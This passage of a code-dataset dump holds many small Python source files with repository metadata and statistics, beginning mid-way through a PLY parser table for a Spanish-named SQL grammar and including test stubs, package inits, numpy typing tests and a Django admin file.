operacion_aritmetica','lista_insertar',3,'p_lista_insertar','gramatica2.py',712), ('lista_insertar -> operacion_aritmetica','lista_insertar',1,'p_lista_insertar2','gramatica2.py',721), ('sentencia_update -> update identificador set identificador igual operacion_aritmetica condicion','sentencia_update',7,'p_update','gramatica2.py',729), ('sentencia_delete -> delete from delete_cont condicion','sentencia_delete',4,'p_delete','gramatica2.py',747), ('delete_cont -> only identificador','delete_cont',2,'p_delete_cont','gramatica2.py',757), ('delete_cont -> only identificador por','delete_cont',3,'p_delete_cont2','gramatica2.py',766), ('delete_cont -> identificador por','delete_cont',2,'p_delete_cont3','gramatica2.py',778), ('delete_cont -> identificador','delete_cont',1,'p_delete_cont4','gramatica2.py',787), ('sentencia_select -> select opciones_fecha','sentencia_select',2,'p_select','gramatica2.py',795), ('sentencia_select -> select select_cont from lista_from condicion_cont','sentencia_select',5,'p_select2','gramatica2.py',803), ('order_by -> order by identificador opcion_order order_by','order_by',5,'p_order','gramatica2.py',815), ('order_by -> condicion_cont','order_by',1,'p_order2','gramatica2.py',828), ('order_by -> limit operacion_aritmetica order_by','order_by',3,'p_order3','gramatica2.py',834), ('order_by -> offset operacion_aritmetica order_by','order_by',3,'p_order4','gramatica2.py',843), ('opcion_order -> asc','opcion_order',1,'p_opcion_order','gramatica2.py',852), ('opcion_order -> desc','opcion_order',1,'p_opcion_order','gramatica2.py',853), ('condicion_cont -> where operacion_logica fin_select','condicion_cont',3,'p_condicion_cont','gramatica2.py',861), ('condicion_cont -> where operacion_relacional fin_select','condicion_cont',3,'p_condicion_cont1','gramatica2.py',870), ('condicion_cont -> where operacion_logica group by identificador fin_select','condicion_cont',6,'p_condicion_cont2','gramatica2.py',878), ('condicion_cont -> group by lista_id fin_select','condicion_cont',4,'p_condicion_cont3','gramatica2.py',895), ('condicion_cont -> group by lista_id having operacion_logica fin_select','condicion_cont',6,'p_condicion_cont4','gramatica2.py',906), ('condicion_cont -> where exists par1 sentencia_select par2 fin_select','condicion_cont',6,'p_condicion_cont5','gramatica2.py',921), ('condicion_cont -> where operacion_aritmetica in par1 sentencia_select par2 fin_select','condicion_cont',7,'p_condicion_cont6','gramatica2.py',936), ('condicion_cont -> where operacion_aritmetica not in par1 sentencia_select par2 fin_select','condicion_cont',8,'p_condicion_cont7','gramatica2.py',952), ('condicion_cont -> fin_select','condicion_cont',1,'p_condicion_cont8','gramatica2.py',970), ('fin_select -> order_by','fin_select',1,'p_fin_select','gramatica2.py',977), ('fin_select -> pyc','fin_select',1,'p_fin_select2','gramatica2.py',983), ('fin_select -> union sentencia_select','fin_select',2,'p_fin_select3','gramatica2.py',990), ('fin_select -> intersect sentencia_select','fin_select',2,'p_fin_select4','gramatica2.py',998), ('fin_select -> except sentencia_select','fin_select',2,'p_fin_select5','gramatica2.py',1006), ('lista_from -> lista_from coma identificador as identificador','lista_from',5,'p_lista_from','gramatica2.py',1014), ('lista_from -> lista_from coma identificador','lista_from',3,'p_lista_from2','gramatica2.py',1028), ('lista_from -> identificador as identificador','lista_from',3,'p_lista_from3','gramatica2.py',1038), ('lista_from -> identificador','lista_from',1,'p_lista_from4','gramatica2.py',1049), ('lista_from -> hacer_join','lista_from',1,'p_lista_from5','gramatica2.py',1056), ('lista_from -> par1 sentencia_select par2 as identificador','lista_from',5,'p_lista_from6','gramatica2.py',1062), ('lista_from -> par1 sentencia_select par2','lista_from',3,'p_lista_from7','gramatica2.py',1076), ('tipo_join -> inner join','tipo_join',2,'p_tipo_join','gramatica2.py',1086), ('tipo_join -> left join','tipo_join',2,'p_tipo_join','gramatica2.py',1087), ('tipo_join -> right join','tipo_join',2,'p_tipo_join','gramatica2.py',1088), ('tipo_join -> full join','tipo_join',2,'p_tipo_join','gramatica2.py',1089), ('tipo_join -> outer join','tipo_join',2,'p_tipo_join','gramatica2.py',1090), ('tipo_join -> join','tipo_join',1,'p_tipo_join2','gramatica2.py',1099), ('hacer_join -> identificador tipo_join identificador on operacion_logica','hacer_join',5,'p_hacer_join','gramatica2.py',1107), ('hacer_join -> identificador tipo_join identificador','hacer_join',3,'p_hacer_join2','gramatica2.py',1120), ('select_cont -> por','select_cont',1,'p_select_cont','gramatica2.py',1130), ('select_cont -> distinct lista_id','select_cont',2,'p_select_cont2','gramatica2.py',1137), ('select_cont -> lista_id','select_cont',1,'p_select_cont3','gramatica2.py',1145), ('select_cont -> sen_case','select_cont',1,'p_select_cont4','gramatica2.py',1151), ('sen_case -> case case_when','sen_case',2,'p_sen_case','gramatica2.py',1157), ('case_when -> when operacion_logica then operacion_aritmetica case_when','case_when',5,'p_case_when','gramatica2.py',1165), ('case_when -> end valor','case_when',2,'p_case_when2','gramatica2.py',1177), ('lista_id -> lista_id coma operacion_aritmetica','lista_id',3,'p_lista_id','gramatica2.py',1185), ('lista_id -> lista_id coma identificador punto identificador','lista_id',5,'p_lista_id2','gramatica2.py',1194), ('lista_id -> operacion_aritmetica','lista_id',1,'p_lista_id3','gramatica2.py',1208), ('lista_id -> identificador punto identificador','lista_id',3,'p_lista_id4','gramatica2.py',1214), ('lista_id -> substring par1 valor coma valor coma valor par2','lista_id',8,'p_lista_id5','gramatica2.py',1225), ('opciones_fecha -> extract par1 tipo_date from timestamp valor par2 pyc','opciones_fecha',8,'p_opciones_fecha','gramatica2.py',1243), ('opciones_fecha -> now par1 par2 pyc','opciones_fecha',4,'p_opciones_fecha2','gramatica2.py',1262), ('opciones_fecha -> date_part par1 valor coma interval valor par2 pyc','opciones_fecha',8,'p_opciones_fecha3','gramatica2.py',1275), ('opciones_fecha -> current_date pyc','opciones_fecha',2,'p_opciones_fecha4','gramatica2.py',1294), ('opciones_fecha -> current_time pyc','opciones_fecha',2,'p_opciones_fecha5','gramatica2.py',1303), ('opciones_fecha -> timestamp valor pyc','opciones_fecha',3,'p_opciones_fecha6','gramatica2.py',1312), ('tipo_date -> year','tipo_date',1,'p_tipo_date','gramatica2.py',1322), ('tipo_date -> month','tipo_date',1,'p_tipo_date','gramatica2.py',1323), ('tipo_date -> day','tipo_date',1,'p_tipo_date','gramatica2.py',1324), ('tipo_date -> hour','tipo_date',1,'p_tipo_date','gramatica2.py',1325), ('tipo_date -> minute','tipo_date',1,'p_tipo_date','gramatica2.py',1326), ('tipo_date -> second','tipo_date',1,'p_tipo_date','gramatica2.py',1327), ('condicion -> pyc','condicion',1,'p_condicion','gramatica2.py',1334), ('condicion -> where operacion_logica pyc','condicion',3,'p_condicion2','gramatica2.py',1341), ('condicion -> where identificador igual operacion_aritmetica pyc','condicion',5,'p_condicion3','gramatica2.py',1351), ('condicion -> where exists par1 sentencia_select par2 pyc','condicion',6,'p_condicion4','gramatica2.py',1365), ('condicion -> where operacion_aritmetica in par1 sentencia_select par2 pyc','condicion',7,'p_condicion5','gramatica2.py',1381), ('condicion -> where operacion_aritmetica not in par1 sentencia_select par2 pyc','condicion',8,'p_condicion6','gramatica2.py',1398), ('operacion_aritmetica -> operacion_aritmetica mas operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica','gramatica2.py',1417), ('operacion_aritmetica -> operacion_aritmetica menos operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica2','gramatica2.py',1426), ('operacion_aritmetica -> operacion_aritmetica por operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica3','gramatica2.py',1435), ('operacion_aritmetica -> operacion_aritmetica div operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica4','gramatica2.py',1444), ('operacion_aritmetica -> par1 operacion_aritmetica par2','operacion_aritmetica',3,'p_op_aritmetica5','gramatica2.py',1453), ('operacion_aritmetica -> valor','operacion_aritmetica',1,'p_op_aritmetica6','gramatica2.py',1463), ('operacion_aritmetica -> sum par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica7','gramatica2.py',1469), ('operacion_aritmetica -> avg par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica8','gramatica2.py',1481), ('operacion_aritmetica -> max par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica9','gramatica2.py',1493), ('operacion_aritmetica -> pi','operacion_aritmetica',1,'p_op_aritmetica10','gramatica2.py',1505), ('operacion_aritmetica -> power par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica11','gramatica2.py',1512), ('operacion_aritmetica -> sqrt par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica12','gramatica2.py',1524), ('operacion_aritmetica -> valor between valor','operacion_aritmetica',3,'p_op_aritmetica13','gramatica2.py',1536), ('operacion_aritmetica -> valor is distinct from valor','operacion_aritmetica',5,'p_op_aritmetica14','gramatica2.py',1545), ('operacion_aritmetica -> valor is not distinct from valor','operacion_aritmetica',6,'p_op_aritmetica15','gramatica2.py',1558), ('operacion_aritmetica -> valor is null','operacion_aritmetica',3,'p_op_aritmetica16','gramatica2.py',1573), ('operacion_aritmetica -> valor is not null','operacion_aritmetica',4,'p_op_aritmetica17','gramatica2.py',1583), ('operacion_aritmetica -> valor is true','operacion_aritmetica',3,'p_op_aritmetica18','gramatica2.py',1595), ('operacion_aritmetica -> valor is not true','operacion_aritmetica',4,'p_op_aritmetica19','gramatica2.py',1605), ('operacion_aritmetica -> valor is false','operacion_aritmetica',3,'p_op_aritmetica20','gramatica2.py',1617), ('operacion_aritmetica -> valor is not false','operacion_aritmetica',4,'p_op_aritmetica21','gramatica2.py',1627), ('operacion_relacional -> operacion_relacional mayor operacion_relacional','operacion_relacional',3,'p_op_relacional','gramatica2.py',1639), ('operacion_relacional -> operacion_relacional menor operacion_relacional','operacion_relacional',3,'p_op_relacional2','gramatica2.py',1648), ('operacion_relacional -> operacion_relacional mayorigual operacion_relacional','operacion_relacional',3,'p_op_relacional3','gramatica2.py',1657), ('operacion_relacional -> operacion_relacional menorigual operacion_relacional','operacion_relacional',3,'p_op_relacional4','gramatica2.py',1666), ('operacion_relacional -> operacion_relacional diferente operacion_relacional','operacion_relacional',3,'p_op_relacional5','gramatica2.py',1676), ('operacion_relacional -> operacion_relacional igual operacion_relacional','operacion_relacional',3,'p_op_relacional6','gramatica2.py',1685), ('operacion_relacional -> operacion_aritmetica','operacion_relacional',1,'p_op_relacional7','gramatica2.py',1694), ('operacion_logica -> operacion_logica and operacion_logica','operacion_logica',3,'p_op_logica','gramatica2.py',1700), ('operacion_logica -> operacion_logica or operacion_logica','operacion_logica',3,'p_op_logica2','gramatica2.py',1709), ('operacion_logica -> operacion_logica not operacion_logica','operacion_logica',3,'p_op_logica3','gramatica2.py',1718), ('operacion_logica -> operacion_relacional','operacion_logica',1,'p_op_logica4','gramatica2.py',1727), ('sentencia_show -> show databases show_cont','sentencia_show',3,'p_show','gramatica2.py',1732), ('show_cont -> pyc','show_cont',1,'p_show_cont','gramatica2.py',1742), ('show_cont -> ins_like pyc','show_cont',2,'p_show_cont2','gramatica2.py',1748), ('ins_like -> like porcentaje identificador porcentaje','ins_like',4,'p_ins_like','gramatica2.py',1756), ('empty -> <empty>','empty',0,'p_empty','gramatica2.py',1769), ]	248.364807	25,588	0.705715	10,584	57,869	3.750472	0.095616	0.061066	0.008767	0.011488	0.562917	0.465978	0.420305	0.372339	0.333216	0.291422	0.334336	0.046398	57,869	232	25,589	249.435345	0.384985	0.001452	0.009009	1	0.004505	0.438543	0.041762	0	0	0	0	1	0	false	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	1	0	1	1	1	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
f586e3e08cff6b7ad415d67170a0f338a8722757	146	py	Python	include/tclap-1.4.0-rc1/tests/test49.py	SpaceKatt/cpp-cli-poc	02ffefea2fc6e999fa2b27d08a8b3be6830b1b97	[ "BSL-1.0" ]	62	2021-09-21T18:58:02.000Z	2022-03-07T02:17:43.000Z	third_party/tclap-1.4.0-rc1/tests/test49.py	Vertexwahn/FlatlandRT	37d09fde38b25eff5f802200b43628efbd1e3198	[ "Apache-2.0" ]	null	null	null	third_party/tclap-1.4.0-rc1/tests/test49.py	Vertexwahn/FlatlandRT	37d09fde38b25eff5f802200b43628efbd1e3198	[ "Apache-2.0" ]	null	null	null	#!/usr/bin/python import simple_test simple_test.test("test8", ["-s", "bbb", "homer", "marge", "bart", "--", "-hv", "two", ], expect_fail=True)	24.333333	106	0.59589	20	146	4.2	0.85	0.238095	0	0	0	0	0	0	0	0	0.007692	0.109589	146	5	107	29.2	0.638462	0.109589	0	0	0	0.248062	0	0	0	0	0	1	0	true	0	0.5	0	0.5	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
f59103fb976a429db1bee5f1f542e403fa61365c	81	py	Python	circuitpython/pyportal/lib/py_conway/__init__.py	bsatrom/py-conway-examples	e21ae64428522cd1c5787ab8c9f7c621a19496eb	[ "Apache-2.0" ]	1	2020-03-30T21:16:44.000Z	2020-03-30T21:16:44.000Z	circuitpython/pyportal/lib/py_conway/__init__.py	bsatrom/py-conway-examples	e21ae64428522cd1c5787ab8c9f7c621a19496eb	[ "Apache-2.0" ]	44	2020-02-20T19:23:44.000Z	2020-03-11T20:49:59.000Z	circuitpython/pyportal/lib/py_conway/__init__.py	bsatrom/py-conway-examples	e21ae64428522cd1c5787ab8c9f7c621a19496eb	[ "Apache-2.0" ]	1	2019-07-09T14:51:16.000Z	2019-07-09T14:51:16.000Z	"""__init__ Module for py-conway.""" from .game import * from .helpers import *	16.2	36	0.691358	11	81	4.727273	0.818182	0	0	0	0	0	0	0	0	0	0	0.160494	81	4	37	20.25	0.764706	0.37037	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
f59ea6c72155568980f54a854c144b6c4ae9b046	83	py	Python	player.py	cu2/zandagort	81ffd6afffc3b3ec39f3a731a931475871ba2897	[ "CC-BY-3.0" ]	8	2015-01-20T15:21:52.000Z	2020-12-29T22:11:38.000Z	player.py	cu2/zandagort	81ffd6afffc3b3ec39f3a731a931475871ba2897	[ "CC-BY-3.0" ]	null	null	null	player.py	cu2/zandagort	81ffd6afffc3b3ec39f3a731a931475871ba2897	[ "CC-BY-3.0" ]	9	2015-01-16T14:35:35.000Z	2021-03-16T16:06:55.000Z	class Player(object): def __init__(self, name): self._name = name	16.6	29	0.590361	10	83	4.4	0.7	0.363636	0	0	0	0	0	0	0	0	0	0.301205	83	4	30	20.75	0.758621	0	0	0	0	0	0	0	0	0	0	1	0.333333	false	0	0	0	0.666667	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	0	0	1	0	5
1941fb65ac77ea37326866a68568612b92c50054	63	py	Python	hcashec/edwards/testdata/decodepoint.py	tiaotiao00/HSR	8b0cbd7998aa804a9c10fd5bd18517276910d686	[ "0BSD" ]	723	2016-01-26T21:37:00.000Z	2022-03-21T11:12:28.000Z	hcashec/edwards/testdata/decodepoint.py	tiaotiao00/HSR	8b0cbd7998aa804a9c10fd5bd18517276910d686	[ "0BSD" ]	1,355	2016-01-28T10:49:16.000Z	2022-03-29T15:50:32.000Z	hcashec/edwards/testdata/decodepoint.py	tiaotiao00/HSR	8b0cbd7998aa804a9c10fd5bd18517276910d686	[ "0BSD" ]	363	2016-01-28T03:07:48.000Z	2022-03-15T11:55:30.000Z	import sys from ed25519 import * decodepointhex(sys.argv[1])	10.5	27	0.761905	9	63	5.333333	0.777778	0	0	0	0	0	0	0	0	0	0.111111	0.142857	63	5	28	12.6	0.777778	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.666667	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
1943cc5874f86b4b0daddbccc3a7efc2d015f1ec	76	py	Python	crystalpy/tests/polarization/MuellerDiffractionTest.py	oasys-kit/crystalpy	4852851c622ef914844178577dea4075e92cd8dd	[ "MIT" ]	null	null	null	crystalpy/tests/polarization/MuellerDiffractionTest.py	oasys-kit/crystalpy	4852851c622ef914844178577dea4075e92cd8dd	[ "MIT" ]	null	null	null	crystalpy/tests/polarization/MuellerDiffractionTest.py	oasys-kit/crystalpy	4852851c622ef914844178577dea4075e92cd8dd	[ "MIT" ]	null	null	null	import unittest class MuellerDiffractionTest(unittest.TestCase): pass	12.666667	48	0.802632	7	76	8.714286	0.857143	0	0	0	0	0	0	0	0	0	0	0.144737	76	5	49	15.2	0.938462	0	0	0	0	0	0	0	0	0	0	1	0	true	0.333333	0.333333	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	1	1	0	0	0	5
1971562bd769b73aaa24b61d0a05d393e5d48f08	42	py	Python	tests/unit/__init__.py	wbarnsley/common_words	47d0befca2d9c20a3a9748973a2a8620363a5561	[ "Apache-2.0" ]	null	null	null	tests/unit/__init__.py	wbarnsley/common_words	47d0befca2d9c20a3a9748973a2a8620363a5561	[ "Apache-2.0" ]	null	null	null	tests/unit/__init__.py	wbarnsley/common_words	47d0befca2d9c20a3a9748973a2a8620363a5561	[ "Apache-2.0" ]	null	null	null	"""Unit test init required for pytest."""	21	41	0.690476	6	42	4.833333	1	0	0	0	0	0	0	0	0	0	0	0.142857	42	1	42	42	0.805556	0.833333	null	0	null	0	0	null	0	0	null	1	null	true	0	0	null	null	null	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
199eba4748684ee433a81dc254552eff1f4b9689	241	py	Python	prettyqt/widgets/styleoptionspinbox.py	phil65/PrettyQt	26327670c46caa039c9bd15cb17a35ef5ad72e6c	[ "MIT" ]	7	2019-05-01T01:34:36.000Z	2022-03-08T02:24:14.000Z	prettyqt/widgets/styleoptionspinbox.py	phil65/PrettyQt	26327670c46caa039c9bd15cb17a35ef5ad72e6c	[ "MIT" ]	141	2019-04-16T11:22:01.000Z	2021-04-14T15:12:36.000Z	prettyqt/widgets/styleoptionspinbox.py	phil65/PrettyQt	26327670c46caa039c9bd15cb17a35ef5ad72e6c	[ "MIT" ]	5	2019-04-17T11:48:19.000Z	2021-11-21T10:30:19.000Z	from __future__ import annotations from prettyqt import widgets from prettyqt.qt import QtWidgets QtWidgets.QStyleOptionSpinBox.__bases__ = (widgets.StyleOptionComplex,) class StyleOptionSpinBox(QtWidgets.QStyleOptionSpinBox): pass	20.083333	71	0.838174	23	241	8.434783	0.608696	0.123711	0	0	0	0	0	0	0	0	0	0.112033	241	11	72	21.909091	0.906542	0	0	0	0	0	0	0	0	0	0	1	0	true	0.166667	0.5	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	1	1	0	1	0	5
27961eb840acdb4ed5e4f45796149b30e4edcb62	2,186	py	Python	venv/Lib/site-packages/numpy/typing/tests/data/reveal/ndarray_conversion.py	arnoyu-hub/COMP0016miemie	59af664dcf190eab4f93cefb8471908717415fea	[ "MIT" ]	null	null	null	venv/Lib/site-packages/numpy/typing/tests/data/reveal/ndarray_conversion.py	arnoyu-hub/COMP0016miemie	59af664dcf190eab4f93cefb8471908717415fea	[ "MIT" ]	null	null	null	venv/Lib/site-packages/numpy/typing/tests/data/reveal/ndarray_conversion.py	arnoyu-hub/COMP0016miemie	59af664dcf190eab4f93cefb8471908717415fea	[ "MIT" ]	null	null	null	import numpy as np import numpy.typing as npt nd: npt.NDArray[np.int_] = np.array([[1, 2], [3, 4]]) # item reveal_type(nd.item()) # E: int reveal_type(nd.item(1)) # E: int reveal_type(nd.item(0, 1)) # E: int reveal_type(nd.item((0, 1))) # E: int # tolist reveal_type(nd.tolist()) # E: Any # itemset does not return a value # tostring is pretty simple # tobytes is pretty simple # tofile does not return a value # dump does not return a value # dumps is pretty simple # astype reveal_type(nd.astype("float")) # E: numpy.ndarray[Any, numpy.dtype[Any]] reveal_type(nd.astype(float)) # E: numpy.ndarray[Any, numpy.dtype[Any]] reveal_type(nd.astype(np.float64)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] reveal_type(nd.astype(np.float64, "K")) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] reveal_type(nd.astype(np.float64, "K", "unsafe")) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] reveal_type(nd.astype(np.float64, "K", "unsafe", True)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] reveal_type(nd.astype(np.float64, "K", "unsafe", True, True)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] # byteswap reveal_type(nd.byteswap()) # E: numpy.ndarray[Any, numpy.dtype[{int_}]] reveal_type(nd.byteswap(True)) # E: numpy.ndarray[Any, numpy.dtype[{int_}]] # copy reveal_type(nd.copy()) # E: numpy.ndarray[Any, numpy.dtype[{int_}]] reveal_type(nd.copy("C")) # E: numpy.ndarray[Any, numpy.dtype[{int_}]] reveal_type(nd.view()) # E: numpy.ndarray[Any, numpy.dtype[{int_}]] reveal_type(nd.view(np.float64)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] reveal_type(nd.view(float)) # E: numpy.ndarray[Any, numpy.dtype[Any]] reveal_type(nd.view(np.float64, np.matrix)) # E: numpy.matrix[Any, Any] # getfield reveal_type(nd.getfield("float")) # E: numpy.ndarray[Any, numpy.dtype[Any]] reveal_type(nd.getfield(float)) # E: numpy.ndarray[Any, numpy.dtype[Any]] reveal_type(nd.getfield(np.float64)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] reveal_type(nd.getfield(np.float64, 8)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]] # setflags does not return a value # fill does not return a value	42.038462	111	0.682525	348	2,186	4.201149	0.146552	0.164159	0.19699	0.19699	0.787962	0.722982	0.688782	0.643639	0.618331	0.618331	0.023219	0.13312	2,186	51	112	42.862745	0.748285	0.509149	0	0	0	0.033571	0	0	0	0	0	1	0	true	0	0.074074	0	0.074074	0	0	0	0	null	0	1	1	0	1	0	0	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
279862e8723eec029920156ad700fb469a7eedd5	283	py	Python	mmseg/models/distillation/__init__.py	wzpscott/SegformerDistillation	6558757f5071251410e90270e197755860a6f41c	[ "DOC" ]	null	null	null	mmseg/models/distillation/__init__.py	wzpscott/SegformerDistillation	6558757f5071251410e90270e197755860a6f41c	[ "DOC" ]	null	null	null	mmseg/models/distillation/__init__.py	wzpscott/SegformerDistillation	6558757f5071251410e90270e197755860a6f41c	[ "DOC" ]	null	null	null	from .opts import Extractor, DistillationLoss,ExtractorMT,DistillationLossMT # # from .SdModule import Sd_model # from .losses import CriterionKD, CriterionKDMSE, CriterionMSE, VGGFeatureExtractor __all__ = [ 'Extractor', 'DistillationLoss', 'ExtractorMT','DistillationLossMT' ]	40.428571	84	0.80212	24	283	9.25	0.666667	0.225225	0.324324	0.486486	0	0	0	0	0	0	0	0.106007	283	6	85	47.166667	0.87747	0.399293	0	0	0	0.327273	0	0	0	0	0	1	0	false	0	0.25	0	0.25	0	1	0	0	null	1	1	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
27f564aca5e271f573041ba9de880451c0288b32	189	py	Python	NBKOlympia/vuotsong/admin.py	thanhluong/NBKOlympia	ecc3b8072588feba720a96d58c6d3dc44b021871	[ "MIT" ]	1	2021-09-15T08:18:18.000Z	2021-09-15T08:18:18.000Z	NBKOlympia/vuotsong/admin.py	thanhluong/NBKOlympia	ecc3b8072588feba720a96d58c6d3dc44b021871	[ "MIT" ]	null	null	null	NBKOlympia/vuotsong/admin.py	thanhluong/NBKOlympia	ecc3b8072588feba720a96d58c6d3dc44b021871	[ "MIT" ]	null	null	null	from django.contrib import admin from .models import VuotSongQuestion, VuotSongAnswer # Register your models here. admin.site.register(VuotSongQuestion) admin.site.register(VuotSongAnswer)	31.5	52	0.846561	22	189	7.272727	0.545455	0.1125	0.2125	0	0	0	0	0	0	0	0	0.084656	189	6	53	31.5	0.924855	0.137566	0	0	0	0	0	0	0	0	0	1	0	true	0	0.5	0	0.5	0	1	0	0	null	0	1	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
fdcd8470c37e1b8a34d5e82e8e0619b14676c2b0	129	py	Python	python-sdk/nuscenes/eval/detection/tests/test_evaluate.py	tanjiangyuan/Classification_nuScence	b94c4b0b6257fc1c048a676e3fd9e71183108d53	[ "Apache-2.0" ]	null	null	null	python-sdk/nuscenes/eval/detection/tests/test_evaluate.py	tanjiangyuan/Classification_nuScence	b94c4b0b6257fc1c048a676e3fd9e71183108d53	[ "Apache-2.0" ]	null	null	null	python-sdk/nuscenes/eval/detection/tests/test_evaluate.py	tanjiangyuan/Classification_nuScence	b94c4b0b6257fc1c048a676e3fd9e71183108d53	[ "Apache-2.0" ]	null	null	null	version https://git-lfs.github.com/spec/v1 oid sha256:b1173381efc37fbf77a0e11a654f9e9db9132cd1ee83dced5410db2d6bb3fb3e size 5749	32.25	75	0.883721	13	129	8.769231	1	0	0	0	0	0	0	0	0	0	0.341463	0.046512	129	3	76	43	0.585366	0	0	0	0	0	0	0	1	0	0	0	null	null	0	0	null	null	0	1	0	0	null	0	0	0	0	0	0	0	0	0	1	1	0	0	0	0	0	0	0	0	null	1	0	0	1	0	0	0	0	0	0	0	5
e31e8377d7d29e59e10e16e6f38f3f484beb99dc	157	py	Python	sample/example_module.py	GregHilston/example-ghilston-python-cookiecutter	47a13ee249f156815a6dd730e01e761e5055e4b6	[ "MIT" ]	null	null	null	sample/example_module.py	GregHilston/example-ghilston-python-cookiecutter	47a13ee249f156815a6dd730e01e761e5055e4b6	[ "MIT" ]	null	null	null	sample/example_module.py	GregHilston/example-ghilston-python-cookiecutter	47a13ee249f156815a6dd730e01e761e5055e4b6	[ "MIT" ]	null	null	null	"""Example module""" def example_function() -> str: """Example function Returns: Hard coded message """ return "example function"	14.272727	30	0.598726	15	157	6.2	0.666667	0.483871	0	0	0	0	0	0	0	0	0	0.273885	157	10	31	15.7	0.815789	0.407643	0	0	0	0.231884	0	0	0	0	0	1	0.5	true	0	0	0	1	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	1	0	0	0	1	0	5
e32be866a758d1113b2dc1ef9169f1a0e37ff9d3	169	py	Python	src/jt/jep/console.py	karpierz/jtypes.jep	0e2347c3144022313802183c75fc8944ac6ddef5	[ "Zlib" ]	1	2021-05-18T03:38:21.000Z	2021-05-18T03:38:21.000Z	src/jt/jep/console.py	karpierz/jtypes.jep	0e2347c3144022313802183c75fc8944ac6ddef5	[ "Zlib" ]	null	null	null	src/jt/jep/console.py	karpierz/jtypes.jep	0e2347c3144022313802183c75fc8944ac6ddef5	[ "Zlib" ]	null	null	null	# Copyright (c) 2014-2018 Adam Karpierz # Licensed under the zlib/libpng License # http://opensource.org/licenses/zlib from ..jvm.java.org.python.util.console import *	28.166667	48	0.763314	25	169	5.16	0.92	0	0	0	0	0	0	0	0	0	0.053333	0.112426	169	5	49	33.8	0.806667	0.662722	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
e32ca3f9647367c9ced5489bdf0650a05d56df24	86	py	Python	kattis/greetings2.py	terror/Solutions	1ad33daec95b565a38ac4730261593bcf249ac86	[ "CC0-1.0" ]	2	2021-04-05T14:26:37.000Z	2021-06-10T04:22:01.000Z	kattis/greetings2.py	terror/Solutions	1ad33daec95b565a38ac4730261593bcf249ac86	[ "CC0-1.0" ]	null	null	null	kattis/greetings2.py	terror/Solutions	1ad33daec95b565a38ac4730261593bcf249ac86	[ "CC0-1.0" ]	null	null	null	from collections import Counter print("h" + "e" * (2 * Counter(input())["e"]) + "y")	21.5	52	0.581395	12	86	4.166667	0.833333	0	0	0	0	0	0	0	0	0	0.013889	0.162791	86	3	53	28.666667	0.680556	0	0	0	0	0.046512	0	0	0	0	0	1	0	true	0	0.5	0	0.5	0.5	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	1	5
e32e4018f914ac390a277f8f010bd29d2115ae21	73	py	Python	src/pandashape/__init__.py	jammerware/pandashape	37e45e830cf71b28486aa4949f1ba7106ae6ed56	[ "MIT" ]	null	null	null	src/pandashape/__init__.py	jammerware/pandashape	37e45e830cf71b28486aa4949f1ba7106ae6ed56	[ "MIT" ]	null	null	null	src/pandashape/__init__.py	jammerware/pandashape	37e45e830cf71b28486aa4949f1ba7106ae6ed56	[ "MIT" ]	null	null	null	from .enums import Columns, Scaling from .PandaShaper import PandaShaper	24.333333	36	0.835616	9	73	6.777778	0.666667	0	0	0	0	0	0	0	0	0	0	0.123288	73	2	37	36.5	0.953125	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
